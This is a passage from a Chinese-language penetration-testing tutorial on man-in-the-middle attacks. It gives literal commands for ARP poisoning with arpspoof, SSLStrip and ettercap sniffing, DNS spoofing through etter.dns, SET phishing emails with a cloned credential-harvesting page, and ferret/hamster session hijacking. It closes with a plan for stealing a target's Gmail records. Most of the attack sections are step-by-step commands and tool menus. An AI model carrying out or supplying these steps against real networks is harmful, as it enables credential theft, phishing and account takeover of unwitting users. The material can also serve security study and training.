2. 使用SSLStrip監聽80端口,捕獲"重定向事件" sslstrip -a -k -f -l 80
3. 準備嗅探明文數據 ettercap -T -q -i eth0
3. 目標客戶端正常訪問頁面 http://mail.google.com/ 透過中間人SSLStrip的代理進行了"僞HTTPS"的通訊,在"察覺度較低"的狀況下泄漏了密碼
注意到SSLStrip在返回流量中注入了一個其迷惑做用的"小鎖",用來欺騙目標客戶端"放心"地輸入密碼
用戶在輸入了密碼以後,中間人攻擊者成功嗅探到了用戶的密碼
1. 攻擊者對目標客戶端發送了ARP投毒攻擊,進行流量劫持 echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -i eth0 -t 192.168.159.132 192.168.159.2 arpspoof -i eth0 -t 192.168.159.2 192.168.159.132
(00-50-56-f2-66-68是攻擊者的MAC地址)
2. 使用ettercap的插件dns_spoof進行DNS數據包篡改(DNS劫持) locate etter.dns vim /usr/local/share/ettercap/etter.dns 加入一個A記錄 http://www.jnrain.com/ A 192.168.159.254 http://www.jnrain.com/ PTR 192.168.159.254 ("192.168.159.254"是攻擊者所在的中間人的主機的IP)
cat /usr/local/share/ettercap/etter.dns | grep -v "^#" ettercap -i eth0 -T -P dns_spoof
3. 使用SET套件向目標客戶端發送釣魚郵件,吸引目標用戶訪問指定頁面URL(注意,這個URL是合法的,只是攻擊者進行了DNS劫持改變了IP) cd /pentest/exploits/set/ ./setoolkit 依次選擇如下選項 選擇"Social-Engineering Attacks" 1: Social-Engineering Attacks 選擇"Mass Mailer Attack" 5: Mass Mailer Attack 選擇"E-Mail Attack Single Email Address" 1: E-Mail Attack Single Email Address 輸入你要發送的目標郵箱(你的釣魚對象): 306211321@qq.com 選擇"Use a gmail Account for your email attack" 1: Use a gmail Account for your email attack 輸入你的發送方郵箱: a306211321@gmail.com 輸入你的郵件中要顯示的發送方名字: cnblogs.com 輸入發送方郵箱的密碼: password 輸入郵件主題(標題): change your password from cnblogs.org 選擇以HTML方式發送郵件: h 輸入郵件內容: <a>http://www.jnrain.com/</a> change your password!
4. 使用SET套件創建"基於頁面克隆技術的釣魚頁面",由於咱們已經劫持了目標客戶端的DNS,因此當用戶訪問"www.jnrain.com"的時候,要讓用戶看到一個和"原始頁面"相似的頁面,纔不會
引發用戶的警覺,這個釣魚頁面就由SET自動化創建,SET還提供了數據記錄功能,以便進行密碼嗅探記錄 cd /pentest/exploits/set/ ./setoolkit 依次選擇如下選項 選擇"Social-Engineering Attacks" 1: Social-Engineering Attacks 選擇"Website Attack Vectors" 2: Website Attack Vectors 選擇"Credential Harvester Attack Method" 3: Credential Harvester Attack Method 選擇"Site Cloner"(釣魚頁面) 2: Site Cloner 輸入攻擊者本機IP地址: 192.168.159.254 輸入你要克隆的頁面: http://www.jnrain.com
由於這些網站的js代碼會探測是不是正常環境並跳轉連接。使用SET的克隆插件時會遇到一些問題,解決方案是直接手工下載網頁,對JS代碼作一些修改。
5. 受攻擊目標客戶端"正常訪問"釣魚郵件中的網址(這是一個合法的網址) http://www.jnrain.com
用戶輸入賬號、密碼
6. SET構造的釣魚頁面成功獲取到了用戶輸入的賬號、密碼
SET社會工程釣魚成功
1. 攻擊者對目標客戶端發送了ARP投毒攻擊,進行流量劫持 echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -i eth0 -t 192.168.159.132 192.168.159.2 arpspoof -i eth0 -t 192.168.159.2 192.168.159.132
2. 使用ferret抓取WEB通訊數據 locate ferret cd /pentest/sniffers/hamster/ ./ferret -h ./ferret -i 1 ferret會將抓取到的WEB通訊數據保存爲"hamster.txt"
3. 目標客戶端正常訪問網頁
4. 運行hamster,對抓取的數據包進行重組、解析,合成出進行會話劫持的HTTP訪問數據包 ./hamster
5. hamster監聽了1234端口,咱們須要配置瀏覽器的代理設置,使瀏覽器鏈接到hamster上 攻擊者打開瀏覽器,進入代理服務器設置,添加代理服務器,127.0.0.1:1234
6. hamster發起會話劫持 在瀏覽器輸入127.0.0.1:1234或者hamster 1) 右邊選中被咱們劫持的IP地址 2) 左邊選中咱們須要劫持的頁面URL
7. 攻擊者成功經過會話劫持(Session Hajacking)進行登陸
會話劫持成功
這篇文章介紹的是中間人攻擊,實際上咱們會發現要達到中間人攻擊能夠有不少種攻擊方式,做爲安全人員來講,最重要的是理解咱們面對的攻擊/防護環境有哪些"限制"、"資源",根據這些"條件"選擇合適的攻擊向量,咱們必須儘量多的瞭解、並理解各類攻擊維度的基本原理,在組織攻擊方式的時候進行合理組合,例如
1. 須要進行中間人流量劫持 1) 無線僞AP+DHCP配置 2) 有線局域網中ARP投毒 2. SSL嗅探 1) SSL中間人代理 2) SSLStrip中間人嗅探 3. 會話劫持 1) 中間人攻擊+DNS劫持+釣魚頁面+XSS攻擊 2) 中間人劫持+hamster會話劫持 4. 密碼竊取 1) 中間人攻擊+DNS劫持+SET社會工程釣魚攻擊
從個人我的經驗來講,要完成一個攻擊目標,大概是如下步驟
1. 儘量多的收集攻擊目標的環境信息 2. 根據目標的環境信息設定一個大概的攻擊目的,例如竊取對方的GMAIL郵箱記錄 3. 將攻擊目標進行分步、分解成多個技術關鍵點,例如: 1) 中間人攻擊 1.1) 無線僞AP方式: 較好,靈活性較高 1.1.1) 怎麼保證僞AP的隱蔽性、真實性? 1.2) 內網ARP投毒方式: 前提是你要可以鏈接到對方的內網 1.2.1) 破解對方路由器密碼? WEP破解、WPA二、WPA2破解?成功率、時間成本多高? 1.2.2) 直接社工到密碼? 2) GMAIL是HTTPS加密傳輸的,直接嗅探是拿不到目標隱私數據的,怎麼辦? 2.1) SSL中間人代理+僞SSL證書: 創建雙向SSL鏈接,中間人記錄數據 2.2) SSLStrip中間人跳轉代理+明文嗅探 3) 除了嗅探、代理嗅探,還有沒有別的思考方向呢? 3.1) DNS劫持+SET社會工程+釣魚攻擊: 社會工程的技術是關鍵 4) 除了直接嗅探、直接獲取密碼以外,繼續思考別的方案 4.1) 會話劫持 會話劫持(Session Hajacking)並非直接獲取到目標用戶的賬號、密碼,也不是直接嗅探到數據,而是針對目標的Cookie,劫持到它的會話憑證,而後利用這個Cookie進行重放,
以"目標用戶的身份"登陸到GMAIL上,直接查看它的郵件記錄,這種方法不能保證數據竊取的實時性,可是隱蔽性最好
經過以上的思考過程,咱們能夠發現,任何一種技術單獨拿出來可能會"不太實用",可是當多種技術組合在一塊兒的時候,它們互爲前提條件,一種技術知足另外一種技術的前提條件,最終的效果就是使本來"不太實用"的攻擊向量成爲現實